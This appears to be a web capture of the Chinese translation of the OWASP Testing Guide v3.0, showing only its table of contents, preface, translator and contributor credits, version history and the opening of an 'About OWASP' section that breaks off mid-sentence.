01.07.2015 Views

OWASP测试指南

OWASP测试指南

OWASP测试指南

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

OWASP 测 试 指 南<br />

2008 V3.0<br />

致 谢 杭 州 安 恒 信 息 技 术 有 限 公 司 和 微 软 中 国 有 限 公 司 的 大 力 支 持 !<br />

2002-2008 OWASP 基 金 会<br />

这 份 文 档 由 creative commons Attribution-Share Alike 3.0 许 可 授 权 。 请 确 认 你 的 版 本 出 自 OWASP Testing 或 OWASP<br />

Foundation。


目 录<br />

前 言 ...............................................................................................................................................................................................7<br />

谁 有 需 要 .................................................................................................................................................................................. 7<br />

OWASP 指 南 .............................................................................................................................................................................7<br />

为 什 幺 选 择 OWASP.................................................................................................................................................................8<br />

优 先 级 ...................................................................................................................................................................................... 8<br />

自 动 化 工 具 的 作 用 .................................................................................................................................................................. 8<br />

行 动 呼 吁 .................................................................................................................................................................................. 9<br />

致 谢 与 译 者 声 明 .........................................................................................................................................................................10<br />

1. 首 页 .........................................................................................................................................................................................11<br />

欢 迎 使 用 OWASP 测 试 指 南 3.0............................................................................................................................................11<br />

关 于 OWASP...........................................................................................................................................................................14<br />

2. 导 言 ..........................................................................................................................................................................................17<br />

测 试 原 理 ................................................................................................................................................................................ 19<br />

测 试 技 术 解 释 ........................................................................................................................................................................ 22<br />

安 全 需 求 测 试 推 导 ................................................................................................................................................................ 28<br />

3. OWASP 测 试 框 架 ....................................................................................................................................................................41<br />

概 述 ........................................................................................................................................................................................ 41<br />

第 1 阶 段 : 开 发 开 始 前 进 行 测 试 ........................................................................................................................................41<br />

第 2 阶 段 : 定 义 和 设 计 过 程 中 进 行 测 试 ...............................................................................................................................42<br />

第 3 阶 段 : 开 发 过 程 中 进 行 测 试 .......................................................................................................................................... 43<br />

第 4 阶 段 : 发 展 过 程 中 进 行 测 试 .......................................................................................................................................... 44<br />

第 5 阶 段 : 维 护 和 运 行 .......................................................................................................................................................... 45<br />

2


OWASP 测 试 指 南 v3.0<br />

4 WEB 应 用 渗 透 测 试 ................................................................................................................................................................. 47<br />

4.1 说 明 简 介 .......................................................................................................................................................................... 47<br />

4.2 信 息 收 集 .......................................................................................................................................................................... 53<br />

4.2.1 测 试 : 蜘 蛛 , 机 器 人 和 爬 虫 (OWASP-IG-001)............................................................................................................... 54<br />

4.2.2 搜 索 引 擎 发 现 / 侦 查 (OWASP-IG-002)...........................................................................................................................56<br />

4.2.3 应 用 入 口 识 别 (OWASP-IG-003).................................................................................................................................... 58<br />

4.2.4 WEB 应 用 指 纹 测 试 (OWASP-IG-004)...........................................................................................................................61<br />

4.2.5 应 用 发 现 (OWASP-IG-005)........................................................................................................................................... 69<br />

4.2.6 错 误 代 码 分 析 (OWASP-IG-006)................................................................................................................................... 75<br />

4.3 配 置 管 理 测 试 .................................................................................................................................................................. 79<br />

4.3.1 SSL/TLS 测 试 (OWASP-CM-001)....................................................................................................................................80<br />

4.3.2 数 据 库 监 听 测 试 (OWASP-CM-002)............................................................................................................................. 88<br />

4.3.3 基 础 结 构 配 置 管 理 测 试 (OWASP-CM-003)................................................................................................................. 92<br />

4.3.4 应 用 配 置 管 理 测 试 (OWASP-CM-004)......................................................................................................................... 96<br />

4.3.5 文 件 扩 展 名 处 理 测 试 (OWASP-CM-005)................................................................................................................... 100<br />

4.3.6 过 时 的 、 用 于 备 份 的 以 及 未 被 引 用 的 文 件 (OWASP-CM-006)............................................................................... 102<br />

4.3.7 基 础 结 构 和 应 用 管 理 界 面 (OWASP-CM-007)..........................................................................................................107<br />

4.3.8 HTTP 方 法 和 XST 测 试 (OWASP-CM-008)...................................................................................................................109<br />

4.4 认 证 测 试 ........................................................................................................................................................................ 114<br />

4.4.1 加 密 信 道 证 书 传 输 (OWASP-AT-001)....................................................................................................................... 115<br />

4.4.2 用 户 枚 举 测 试 (OWASP-AT-002)................................................................................................................................ 119<br />

4.4.3 默 认 或 可 猜 解 ( 遍 历 ) 用 户 帐 户 (OWASP-AT-003)..................................................................................................... 124<br />

4.4.4 暴 力 破 解 测 试 (OWASP-AT-004)................................................................................................................................. 127<br />

3


4.4.5 认 证 模 式 绕 过 测 试 (OWASP-AT-005)........................................................................................................................ 133<br />

4.4.6 记 住 密 码 和 密 码 重 置 弱 点 测 试 (OWASP-AT-006)..................................................................................................... 137<br />

4.4.7 注 销 和 浏 览 器 缓 存 管 理 测 试 (OWASP-AT-007)........................................................................................................ 140<br />

4.4.8 CAPTCHA 测 试 (OWASP-AT-008)................................................................................................................................ 144<br />

4.4.9 多 因 素 认 证 测 试 (OWASP-AT-009)............................................................................................................................ 146<br />

4.4.10 竞 争 条 件 测 试 (OWASP-AT-010).............................................................................................................................. 151<br />

4.5 会 话 管 理 测 试 ................................................................................................................................................................ 153<br />

4.5.1 会 话 管 理 模 式 测 试 (OWASP-SM-001)....................................................................................................................... 154<br />

4.5.2 COOKIES 属 性 测 试 (OWASP-SM-002)......................................................................................................................... 163<br />

4.5.3 会 话 固 定 测 试 (OWASP-SM_003)...............................................................................................................................166<br />

4.5.4 会 话 变 量 泄 漏 测 试 (OWASP-SM-004)....................................................................................................................... 169<br />

4.5.5 CSRF 测 试 (OWASP-SM-005).......................................................................................................................................172<br />

4.6 授 权 测 试 ........................................................................................................................................................................ 178<br />

4.6.1 路 径 遍 历 测 试 (OWASP-AZ-001).................................................................................................................................178<br />

4.6.2 绕 过 授 权 模 式 测 试 (OWASP-AZ-002)........................................................................................................................ 183<br />

4.6.3 提 权 测 试 (OWASP-AZ-003).........................................................................................................................................184<br />

4.7 业 务 逻 辑 测 试 (OWASP-BL-001)....................................................................................................................................186<br />

4.8 数 据 验 证 测 试 ................................................................................................................................................................192<br />

4.8.1 反 射 式 跨 站 脚 本 测 试 (OWASP-DV-001)....................................................................................................................195<br />

4.8.2 存 储 式 跨 站 脚 本 测 试 (OWASP-DV-002)....................................................................................................................200<br />

4.8.3 基 于 DOM 的 跨 站 脚 本 检 测 (OWASP-DV-003)......................................................................................................... 206<br />

4.8.4FLASH 跨 站 脚 本 测 试 (OWASP-DV-004)......................................................................................................................209<br />

4.8.5 SQL 注 入 (OWASP-DV-005)..........................................................................................................................................214<br />

4


OWASP 测 试 指 南 v3.0<br />

4.8.5.1 ORACLE 测 试 ............................................................................................................................................................ 222<br />

4.8.5.2 MYSQL 测 试 ............................................................................................................................................................. 230<br />

4.8.5.3 SQL SERVER 测 试 ......................................................................................................................................................236<br />

4.8.5.4 MS ACCESS 检 测 .......................................................................................................................................................245<br />

4.8.5.5 检 测 PostgreSQL...................................................................................................................................................... 248<br />

4.8.6 LDAP 注 入 (OWASP-DV-006).......................................................................................................................................254<br />

4.8.7 ORM 注 入 (OWASP-DV-007).......................................................................................................................................257<br />

4.8.8 XML 注 入 (OWASP-DV-008).........................................................................................................................................258<br />

4.8.9 SSI 注 入 (OWASP-DV-009).......................................................................................................................................... 266<br />

4.8.10 XPATH 注 入 (OWASP-DV-010)................................................................................................................................... 269<br />

4.8.11 IMAP/SMTP 注 入 (OWASP-DV-011)......................................................................................................................... 270<br />

4.8.12 代 码 注 入 (OWASP-DV-012)......................................................................................................................................276<br />

4.8.13 OS 指 令 执 行 (OWASP-DV-013)................................................................................................................................. 277<br />

4.8.14 缓 冲 区 溢 出 检 测 (OWASP-DV-014)..........................................................................................................................280<br />

4.8.14.1 堆 溢 出 ....................................................................................................................................................................281<br />

4.8.14.2 栈 溢 出 ....................................................................................................................................................................284<br />

4.8.14.3 格 式 化 字 符 串 ........................................................................................................................................................288<br />

4.8.15 潜 伏 式 漏 洞 检 测 (OWASP-DV-015)..........................................................................................................................291<br />

4.8.16 HTTP Splitting/Smuggling 测 试 (OWASP-DV-016)....................................................................................................295<br />

4.9 阻 断 服 务 测 试 ................................................................................................................................................................ 298<br />

4.9.1 SQL 通 配 符 攻 击 测 试 (OWASP-DS-001)...................................................................................................................... 299<br />

4.9.2 锁 定 用 户 账 户 (OWASP-DS-002)................................................................................................................................. 301<br />

4.9.3 缓 冲 溢 出 (OWASP-DS-003)......................................................................................................................................... 303<br />

5


4.9.4 用 户 指 定 型 对 象 分 配 (OWASP-DS-004)..................................................................................................................... 304<br />

4.9.5 将 用 户 输 入 作 为 循 环 计 数 器 (OWASP-DS-005)......................................................................................................... 305<br />

4.9.6 将 用 户 写 入 的 数 据 写 到 磁 盘 (OWASP-DS-006)......................................................................................................... 306<br />

4.9.7 释 放 资 源 失 败 (OWASP-DS-007)................................................................................................................................. 307<br />

4.9.8 存 储 过 多 会 话 数 据 (OWASP-DS-008)......................................................................................................................... 308<br />

4.10 WEB 服 务 测 试 ............................................................................................................................................................. 309<br />

4.10.1 WS 信 息 收 集 (OWASP-WS-001)................................................................................................................................310<br />

4.10.2 WSDL 测 试 (OWASP-WS-002)...................................................................................................................................317<br />

4.10.3 XML 结 构 测 试 (OWASP-WS-003).............................................................................................................................. 321<br />

4.10.4 XML 内 容 级 别 测 试 (OWASP-WS-004)...................................................................................................................... 326<br />

4.10.5 HTTPGET 参 数 /REST 测 试 (OWASP-WS-005)............................................................................................................328<br />

4.10.6 调 皮 的 SOAP 附 件 (OWASP-WS-006)....................................................................................................................... 329<br />

4.10.7 重 现 测 试 (OWASP-WS-007)...................................................................................................................................... 332<br />

4.11 AJAX 测 试 ..................................................................................................................................................................... 334<br />

4.11.1 AJAX 漏 洞 (OWASP-AJ-001)...................................................................................................................................... 335<br />

4.11.2 检 测 AJAX (OWASP-AJ-002)...................................................................................................................................... 339<br />

5. 撰 写 报 告 : 评 估 实 际 风 险 .............................................................................................................................................. 345<br />

5.1 如 何 评 估 实 际 风 险 ........................................................................................................................................................ 345<br />

5.2 如 何 书 写 这 个 测 试 报 告 ................................................................................................................................................352<br />

附 录 A: 测 试 工 具 .................................................................................................................................................................357<br />

附 录 B: 推 荐 读 物 .................................................................................................................................................................360<br />

附 录 C: 漏 洞 检 测 向 量 ......................................................................................................................................................... 362<br />

附 录 D: 编 码 注 入 .................................................................................................................................................................368<br />

6


OWASP 测 试 指 南 v3.0<br />

前 言<br />

软 件 的 不 安 全 问 题 也 许 是 我 们 这 个 时 代 最 为 重 要 的 技 术 挑 战 。 安 全 问 题 是 目 前 制 约 信 息 技 术 发 展 的 关 键 。 在 OWASP<br />

团 队 , 我 们 努 力 使 不 安 全 软 件 成 为 这 个 世 界 上 不 正 常 、 不 规 范 的 产 品 , 而 这 份 OWASP 测 试 指 南 正 是 实 现 这 个 目 标<br />

的 重 要 一 步 。<br />

毫 无 疑 问 的 是 没 有 进 行 安 全 测 试 就 无 法 建 立 一 个 安 全 的 应 用 环 境 。 然 而 , 许 多 的 软 件 开 发 组 织 的 标 准 软 件 开 发 流 程<br />

中 却 并 不 包 含 安 全 测 试 这 一 步 骤 。 由 于 攻 击 者 能 够 利 用 无 数 的 方 法 来 攻 破 应 用 程 序 , 而 安 全 测 试 不 可 能 测 试 全 部 的<br />

攻 击 方 法 , 所 以 安 全 测 试 其 自 身 并 非 是 衡 量 应 用 安 全 最 为 有 效 的 方 法 。 但 是 , 安 全 测 试 具 有 独 特 的 能 力 绝 对 说 服 反<br />

对 者 确 实 存 在 安 全 问 题 。 因 此 , 在 任 何 相 信 自 己 所 生 产 和 使 用 的 软 件 的 公 司 , 安 全 测 试 在 这 些 公 司 中 起 着 核 心 作<br />

用 。<br />

总 体 而 言 ,OWASP 的 各 个 指 南 是 对 开 发 及 维 系 安 全 的 应 用 程 序 很 好 的 出 发 点 。 开 发 者 指 南 能 指 导 你 如 何 设 计 和 开<br />

发 安 全 的 应 用 程 序 , 而 代 码 检 测 指 南 则 会 告 诉 你 如 何 为 代 码 作 安 全 检 测 , 而 测 试 指 南 会 指 导 你 如 何 验 证 你 的 应 用<br />

程 序 的 安 全 性 。 我 极 力 推 荐 你 使 用 这 些 指 南 在 你 的 应 用 程 序 开 发 。<br />

谁 有 需 要<br />

软 件 开 发 者 – 软 件 开 发 者 需 要 使 用 这 份 指 南 来 确 保 你 所 递 交 的 代 码 没 有 可 攻 击 的 弱 点 。 因 为 底 层 的 测 试 者 或 者 安 全<br />

小 组 不 可 能 比 你 自 己 更 了 解 你 所 开 发 的 软 件 , 因 此 你 不 能 依 靠 他 们 来 帮 你 测 试 。 没 有 人 能 够 比 你 自 己 更 加 有 效 地 测<br />

试 你 所 开 发 的 应 用 程 序 。 代 码 安 全 绝 对 是 你 自 己 的 责 任 。<br />

软 件 测 试 者 – 软 件 测 试 者 应 该 使 用 这 份 指 南 来 增 强 你 的 测 试 能 力 。 长 期 以 来 , 安 全 测 试 作 为 一 项 黑 色 艺 术 并 未 得 到<br />

公 开 , 所 以 OWASP 一 直 致 力 于 将 这 部 分 知 识 免 费 对 每 个 人 开 放 。 这 本 指 南 中 描 述 的 很 多 案 例 并 不 复 杂 , 也 没 有 用<br />

到 特 殊 的 技 能 或 者 工 具 。 你 可 以 通 过 学 习 这 些 安 全 知 识 来 帮 助 你 们 公 司 并 增 强 你 的 职 业 技 能 。<br />

安 全 专 家 – 安 全 专 家 的 主 要 职 责 是 确 保 应 用 程 序 中 没 有 安 全 弱 点 的 存 在 。 你 可 以 通 过 这 份 指 南 来 确 保 安 全 测 试 的 全<br />

面 性 和 严 密 性 。 永 远 不 要 满 足 于 只 找 到 几 个 漏 洞 , 你 的 工 作 是 保 证 这 个 应 用 程 序 的 整 体 安 全 。 同 时 , 我 们 也 强 烈 建<br />

议 你 们 使 用 OWASP 应 用 安 全 验 证 标 准 (ASVS)。<br />

OWASP 指 南<br />

OWASP 已 经 完 成 好 几 本 普 及 应 用 安 全 基 础 知 识 的 指 南 :<br />

OWASP 应 用 安 全 基 础 参 考 (ASDR<br />

ASDR)-- ASDR 涵 盖 了 所 有 应 用 安 全 中 重 要 准 则 、 威 胁 代 理 、 攻 击 手 段 、 应 用 弱 点 、 安<br />

全 对 策 、 技 术 冲 击 和 商 业 冲 击 的 基 本 定 义 和 描 述 。 这 是 所 以 指 南 的 基 础 参 考 , 在 其 它 篇 章 中 也 经 常 被 提 及 。<br />

OWASP 开 发 者 指 南 — 开 发 者 指 南 包 含 了 软 件 开 发 者 看 重 的 所 有 安 全 控 制 。 这 些 安 全 控 制 是 软 件 开 发 者 必 须 在 应 用 程<br />

序 中 创 建 的 “ 主 动 ” 保 护 。 在 面 对 数 以 百 计 的 软 件 弱 点 时 , 一 系 列 有 力 的 安 全 控 制 措 施 可 以 有 效 的 阻 止 它 们 。<br />

OWASP 测 试 指 南 — 你 正 在 阅 读 的 这 本 测 试 指 南 囊 括 了 应 用 安 全 测 试 的 所 有 程 序 和 工 具 。 这 本 指 南 最 好 的 用 处 是 可 以<br />

作 为 综 合 应 用 安 全 验 证 的 一 部 分 。<br />

7


OWASP 代 码 检 测 指 南 — 代 码 检 测 指 南 与 测 试 指 南 配 合 使 用 时 效 果 最 佳 。 用 代 码 检 测 验 证 应 用 程 序 通 常 比 测 试 要 更 节<br />

约 成 本 。 你 需 要 为 你 正 在 工 作 的 应 用 安 全 选 择 一 个 最 有 效 率 的 信 道 。<br />

总 的 来 讲 ,OWASP 指 南 是 创 建 和 维 持 安 全 应 用 中 一 个 伟 大 的 起 步 。OWASP 强 烈 建 议 你 能 将 这 些 手 册 作 为 应 用 安 全<br />

测 试 的 一 部 分 。<br />

为 什 幺 选 择 OWASP<br />

写 成 一 本 这 样 的 指 南 是 艰 巨 的 工 作 , 因 为 它 汇 集 了 数 百 位 世 界 各 地 的 专 家 的 专 业 技 能 。 测 试 安 全 漏 洞 有 许 多 不 同 的<br />

方 式 , 但 是 这 本 指 南 却 在 怎 样 快 捷 、 准 确 、 有 效 地 测 试 方 面 获 得 了 权 威 人 士 的 一 致 同 意 。<br />

这 本 指 南 完 全 免 费 地 向 公 众 开 放 十 分 重 要 。 安 全 问 题 不 应 该 是 躲 在 暗 处 , 以 至 于 只 有 少 数 人 能 操 作 。 许 多 现 有 的 安<br />

全 指 南 只 是 详 细 地 阐 述 了 问 题 的 严 重 性 , 但 并 没 有 提 供 足 够 的 信 息 来 让 人 们 找 到 、 诊 断 或 者 解 决 安 全 问 题 。 创 建 这<br />

本 指 南 的 目 的 是 使 需 要 它 的 人 能 掌 握 这 些 专 业 知 识 。<br />

这 本 指 南 必 须 能 在 开 发 者 和 软 件 测 试 者 中 推 广 起 来 。 全 世 界 似 乎 没 有 足 够 的 应 用 安 全 专 家 来 对 所 有 问 题 做 重 要 批<br />

示 。 应 用 安 全 最 开 始 的 责 任 肯 定 是 落 在 软 件 开 发 者 的 肩 上 。 如 果 开 发 者 没 有 测 试 他 的 软 件 的 话 , 软 件 中 没 有 安 全 代<br />

码 也 并 不 奇 怪 。<br />

保 证 信 息 及 时 更 新 是 这 本 指 南 至 关 重 要 的 方 面 。 通 过 采 用 Wiki 方 式 ,OWASP 团 队 能 逐 渐 发 展 和 扩 大 这 本 指 南 中 的<br />

信 息 , 这 样 才 能 跟 上 应 用 安 全 威 胁 快 速 发 展 的 步 伐 。<br />

注 :Wiki 是 一 种 在 网 络 上 开 放 、 可 供 多 人 协 同 创 作 的 超 文 本 系 统 , 由 「Wiki 之 父 」 沃 德 · 坎 宁 安 (Ward<br />

Cunningham) 于 1995 年 所 创 。<br />

优 先 级<br />

你 最 好 将 这 份 指 南 看 作 是 一 系 列 寻 找 不 同 类 型 安 全 漏 洞 的 技 术 指 引 。 但 并 不 是 所 有 的 技 术 都 是 同 等 重 要 的 , 请 不 要<br />

将 这 本 指 南 当 成 一 本 核 对 清 单 来 使 用 。<br />

应 用 安 全 测 试 最 重 要 的 方 面 可 能 就 是 让 你 时 刻 牢 记 你 必 须 在 有 限 的 时 间 内 尽 可 能 多 地 覆 盖 应 用 程 序 的 各 个 方 面 。 郑<br />

重 提 醒 : 请 不 要 简 单 的 看 几 眼 这 本 书 就 开 始 测 试 , 理 想 的 做 法 是 : 通 过 建 立 一 些 安 全 威 胁 模 型 来 决 定 你 的 公 司 最 关<br />

心 的 安 全 问 题 是 什 幺 。 你 最 终 应 该 拥 有 一 张 包 含 优 先 次 序 的 待 测 试 的 安 全 清 单 。<br />

下 一 个 步 骤 你 应 该 决 定 如 何 验 证 这 些 要 求 。 有 很 多 不 同 的 选 择 : 你 可 以 使 用 手 动 测 试 或 者 手 动 代 码 检 测 ; 你 也 可 以<br />

使 用 自 动 化 的 漏 洞 扫 描 或 自 动 化 的 代 码 扫 描 ( 静 态 分 析 ); 你 甚 至 可 以 使 用 与 开 发 者 和 架 构 师 共 同 检 测 或 讨 论 安 全<br />

架 构 的 方 法 。 最 重 要 的 是 判 断 并 选 择 一 种 能 够 最 准 确 、 最 高 效 地 对 特 定 应 用 程 序 进 行 检 测 的 技 术 。<br />

自 动 化 工 具 的 作 用<br />

自 动 化 检 测 方 法 是 吸 引 人 的 。 因 为 他 们 似 乎 提 供 了 一 种 短 时 间 进 行 合 理 覆 盖 的 检 测 手 段 。 但 是 在 应 用 安 全 中 这 些 假<br />

设 远 远 没 有 在 网 络 安 全 中 真 实 。<br />

8


OWASP 测 试 指 南 v3.0<br />

第 一 , 因 为 这 些 工 具 是 通 用 的 , 他 们 的 覆 盖 面 不 完 全 —— 它 们 并 不 是 专 门 针 对 您 的 自 定 义 代 码 设 计 的 。 这 意 味 着 ,<br />

即 使 它 们 可 以 找 到 部 分 一 般 性 问 题 , 但 是 它 们 对 你 的 应 用 程 序 没 有 足 够 的 了 解 , 无 法 对 可 能 存 在 的 大 多 数 安 全 漏 洞<br />

进 行 侦 测 。 此 外 , 根 据 我 们 的 经 验 , 最 严 重 的 安 全 问 题 往 往 不 具 有 代 表 性 , 而 是 深 度 隐 藏 在 你 的 业 务 逻 辑 和 定 制 应<br />

用 设 计 中 。<br />

其 次 , 自 动 化 工 具 在 检 测 速 度 方 面 并 不 一 定 比 手 动 检 测 快 。 实 际 运 行 的 工 具 也 许 并 不 会 花 费 特 别 多 的 时 间 , 但 是 在<br />

工 具 运 行 前 后 所 花 费 的 时 间 很 多 。 安 装 过 程 中 , 你 需 要 使 检 测 工 具 了 解 应 用 程 序 所 有 输 入 输 出 的 数 据 —— 可 能 包 括<br />

数 以 千 计 的 字 段 名 。 然 后 , 可 能 需 要 花 费 大 量 的 时 间 来 逐 个 分 析 数 以 万 计 的 漏 洞 报 告 , 而 这 些 漏 洞 报 告 往 往 并 没 有<br />

什 幺 问 题 。<br />

如 果 当 前 最 主 要 的 任 务 是 尽 可 能 快 地 发 现 和 消 除 最 严 重 的 安 全 漏 洞 , 那 幺 针 对 不 同 的 安 全 弱 点 选 择 最 具 有 效 果 的 技<br />

术 十 分 重 要 。 在 某 些 特 定 的 问 题 上 , 自 动 化 工 具 是 十 分 有 效 的 。 明 智 地 选 择 并 使 用 自 动 化 工 具 能 够 有 效 支 持 你 的 整<br />

个 开 发 过 程 以 开 发 出 安 全 性 更 高 的 代 码 。<br />

行 动 呼 吁<br />

如 果 你 正 在 从 事 软 件 开 发 工 作 , 我 强 烈 建 议 你 熟 悉 这 份 文 档 中 的 安 全 测 试 指 引 。 如 果 您 发 现 错 误 , 请 在 讨 论 页 中 添<br />

加 你 的 标 注 或 自 行 对 文 档 进 行 改 动 。 你 的 意 见 将 帮 助 到 成 千 上 万 正 在 使 用 这 份 指 南 的 人 们 。<br />

欢 迎 任 何 个 人 或 者 团 体 加 入 我 们 , 这 样 我 们 才 能 够 继 续 创 作 出 像 这 份 测 试 指 南 以 及 所 有 OWASP 其 它 著 作 一 样 的 材<br />

料 。 感 谢 所 有 过 去 以 及 未 来 为 这 份 指 南 做 出 贡 献 的 人 们 , 你 们 的 工 作 将 有 助 于 推 进 世 界 各 地 的 应 用 程 序 安 全 。<br />

Jeff Williams<br />

2009 年 1 月 18 日<br />

9


致 谢 与 译 者 声 明<br />

本 指 南 为 业 界 首 套 系 统 的 介 绍 应 用 安 全 测 试 的 指 导 性 文 档 。<br />

数 十 位 自 愿 者 经 过 半 年 的 辛 苦 工 作 , 终 于 完 成 OWASP 测 试 指 南 的 翻 译 及 校 对 。<br />

OWASP 测 试 指 南 中 文 版 修 订<br />

项 目 进 展 时 间 主 要 参 与 人<br />

OWASP 测 试 指 南 中 文 V0.1 2009.7-2009.10 Frank<br />

Aaron<br />

OWASP 测 试 指 南 中 文 V0.2 2009.10-2009.11 RIP<br />

OWASP 测 试 指 南 中 文 V0.3 2009.11-2009.1 Eric<br />

翻 译 及 校 对 人 员 ( 姓 氏 排 名 )<br />

• Aaron (DBAPPSECURITY)<br />

• 程 琼 (Microsoft)<br />

• Frank Fan (DBAPPSECURITY)<br />

• 贺 佳 琳 (Microsoft)<br />

• 李 伟 荣 (Microsoft)<br />

• 沈 巍 (Microsoft)<br />

• 王 超 (Microsoft)<br />

• 韦 炜 (Microsoft)<br />

• 张 柏 明 (Microsoft)<br />

• 趙 嘉 言 (Microsoft)<br />

• RIP (OWASP China Chair)<br />

声 明<br />

• 由 于 译 者 及 校 对 人 员 水 平 有 限 , 并 不 保 证 译 文 完 全 正 确 , 请 参 照 英 文 版 以 准 。<br />

• 非 常 感 谢 您 的 支 持 , 有 任 何 问 题 , 请 及 时 邮 件 到 RIP@OWASP.ORG。<br />

10


OWASP 测 试 指 南 v3.0<br />

1. 首 页<br />

欢 迎 使 用 OWASP 测 试 指 南 3.0<br />

OWASP 的 宗 旨 : 技 术 的 开 放 与 协 作<br />

Matteo Meucci<br />

OWASP 感 谢 每 一 个 作 者 , 修 订 人 员 以 及 编 辑 人 员 , 没 有 他 们 的 努 力 , 这 份 测 试 指 南 也 没 有 今 天 。 如 果 你 有 任 何 意 见<br />

或 建 议 , 请 发 E-mail 到 测 试 指 南 邮 箱 :<br />

• http://lists.owasp.org/mailman/listinfo/owasp-testing<br />

或 者 E-mail 给 该 指 南 的 策 划 者 : Matteo Meucci<br />

第 3 版<br />

在 OWASP 测 试 指 南 第 3 版 中 , 对 第 2 版 做 出 了 改 善 , 并 新 增 了 新 的 章 节 。 新 增 的 内 容 包 括 :<br />

• 配 置 管 理 和 认 证 测 试 章 节 以 及 代 码 注 入 附 录 ;<br />

• 36 篇 新 增 文 章 ( 其 中 之 一 取 自 OWASP BSP);<br />

第 3 版 新 增 9 篇 文 章 , 共 10 个 测 试 类 别 和 66 测 试 控 制 。<br />

版 权 和 许 可<br />

版 权 所 有 ( c ) 2008 OWASP 基 金 会 。<br />

本 文 档 由 Creative Commons Attribution-Share Alike 3.0 许 可 授 权 。 请 阅 读 并 理 解 该 文 档 的 许 可 和 版 权 。<br />

历 史 修 订<br />

测 试 指 南 第 3 版 发 布 于 2008 年 11 月 。 这 份 测 试 指 南 由 Dan Cuthbert 作 为 第 一 位 编 辑 于 2003 年 第 一 次 发 布 。2005<br />

年 这 份 测 试 指 南 移 交 给 Eoin Keary 并 转 变 成 Wiki 超 文 本 系 统 。Matteo Meucci 现 在 接 管 这 份 测 试 指 南 , 自 第 2 版 起<br />

为 OWASP 测 试 指 南 项 目 负 责 人 。<br />

• 2008 年 12 月 16 日<br />

OWASP 测 试 指 南 第 3 版 由 Matteo Meucci 于 OWASP 2008 首 脑 会 议 发 布<br />

• 2006 年 12 月 25 日<br />

11


OWASP 测 试 指 南 第 2 版<br />

• 2004 年 7 月 14 日<br />

OWASP WEB 应 用 安 全 渗 透 指 引 列 表 第 1.1 版<br />

• 2004 年 12 月<br />

OWASP 测 试 指 南 第 1 版<br />

编 辑<br />

Matteo Meucci: 自 2007 年 , OWASP 测 试 指 南 项 目 负 责 人 。<br />

Eoin Keary: 2005-2007 ,OWASP 测 试 指 南 项 目 负 责 人 。<br />

Daniel Cuthbert: 2003-2005 ,OWASP 测 试 指 南 项 目 负 责 人 。<br />

测 试 指 南 第 3 版 作 者<br />

• Anurag Agarwwal<br />

• Daniele Bellucci<br />

• Arian Coronel<br />

• Stefano Di Paola<br />

• Giorgio Fedon<br />

• Alan Goodman<br />

• Christian Heinrich<br />

• Kevin Horvath<br />

• Gianrico Ingrosso<br />

• Roberto Suggi Liverani<br />

• Alex Kuza<br />

• Pavol Luptak<br />

• Ferruh Mavituna<br />

• Marco Mella<br />

• Matteo Meucci<br />

• Marco Morana<br />

• Antonio Parata<br />

• Cecil Su<br />

• Harish Skanda Sureddy<br />

• Mark Roxberry<br />

• Andrew Van der Stock<br />

测 试 指 南 第 3 版 修 订 人 员<br />

• Marco Cova<br />

• Kevin Fuller<br />

• Matteo Meucci<br />

• Nam Nguyen<br />

测 试 指 南 第 2 版 作 者<br />

12


OWASP 测 试 指 南 v3.0<br />

• Vicente Aguilera<br />

• Mauro Bregolin<br />

• Tom Brennan<br />

• Gary Burns<br />

• Luca Carettoni<br />

• Dan Cornell<br />

• Mark Curphey<br />

• Daniel Cuthbert<br />

• Sebastien Deleersnyder<br />

• Stephen DeVries<br />

• Stefano Di Paola<br />

• David Endler<br />

• Giorgio Fedon<br />

• Javier Fernández-Sanguino<br />

• Glyn Geoghegan<br />

• Stan Guzik<br />

• Madhura Halasgikar<br />

• Eoin Keary<br />

• David Litchfield<br />

• Andrea Lombardini<br />

• Ralph M. Los<br />

• Claudio Merloni<br />

• Matteo Meucci<br />

• Marco Morana<br />

• Laura Nunez<br />

• Gunter Ollmann<br />

• Antonio Parata<br />

• Yiannis Pavlosoglou<br />

• Carlo Pelliccioni<br />

• Harinath Pudipeddi<br />

• Alberto Revelli<br />

• Mark Roxberry<br />

• Tom Ryan<br />

• Anush Shetty<br />

• Larry Shields<br />

• Dafydd Studdard<br />

• Andrew van der Stock<br />

• Ariel Waissbein<br />

• Jeff Williams<br />

测 试 指 南 第 2 版 修 订 人 员<br />

• Vicente Aguilera<br />

• Marco Belotti<br />

• Mauro Bregolin<br />

• Marco Cova<br />

• Daniel Cuthbert<br />

• Paul Davies<br />

• Stefano Di Paola<br />

• Matteo G.P. Flora<br />

• Simona Forti<br />

• Darrell Groundy<br />

• Eoin Keary<br />

• James Kist<br />

• Katie McDowell<br />

• Marco Mella<br />

• Matteo Meucci<br />

• Syed Mohamed A<br />

• Antonio Parata<br />

• Alberto Revelli<br />

• Mark Roxberry<br />

• Dave Wichers<br />

13


商 标<br />

• Java,Java Web 服 务 器 ,Sun Microsystems 有 限 公 司 JSP 注 册 商 标<br />

• Merriam-Webster 有 限 公 司 Merriam-Webster 注 册 商 标<br />

• 微 软 公 司 Microsoft 注 册 商 标<br />

• Carnegie Mellon 大 学 服 务 商 标 Octave<br />

• VeriSign 有 限 公 司 安 全 认 证 注 册 商 标 VeriSign 和 Thawte<br />

• 美 国 VISA 注 册 商 标 Visa<br />

• OWASP 基 金 会 注 册 商 标 OWASP<br />

所 有 其 他 产 品 和 公 司 的 名 称 可 能 是 其 各 自 所 有 者 的 商 标 。 长 期 使 用 本 文 档 , 不 影 响 任 何 商 标 或 服 务 标 志 的 有 效 性 。<br />

关 于 OWASP<br />

摘 要<br />

OWASP 是 一 个 开 放 的 、 非 盈 利 组 织 , 致 力 于 协 助 政 府 、 企 业 开 发 升 级 各 类 应 用 程 序 以 保 证 其 可 信 任 性 。 所 有<br />

OWASP 的 工 具 , 文 档 , 研 讨 以 及 所 有 章 节 对 任 何 对 应 用 安 全 领 域 感 兴 趣 的 人 士 自 由 开 放 。 我 们 主 张 将 应 用 安 全 看 做<br />

一 个 人 、 一 个 过 程 或 者 一 个 技 术 问 题 , 而 提 高 应 用 安 全 最 有 效 的 办 法 包 括 对 所 有 这 些 领 域 的 提 升 。 关 于 OWASP 请<br />

查 看 网 站 http://www.owasp.org。<br />

OWASP 是 一 个 新 型 的 组 织 。 因 为 没 有 商 业 压 力 , 我 们 能 够 提 供 无 偏 见 切 实 可 行 的 、 同 时 具 有 成 本 效 益 的 应 用 安 全 信<br />

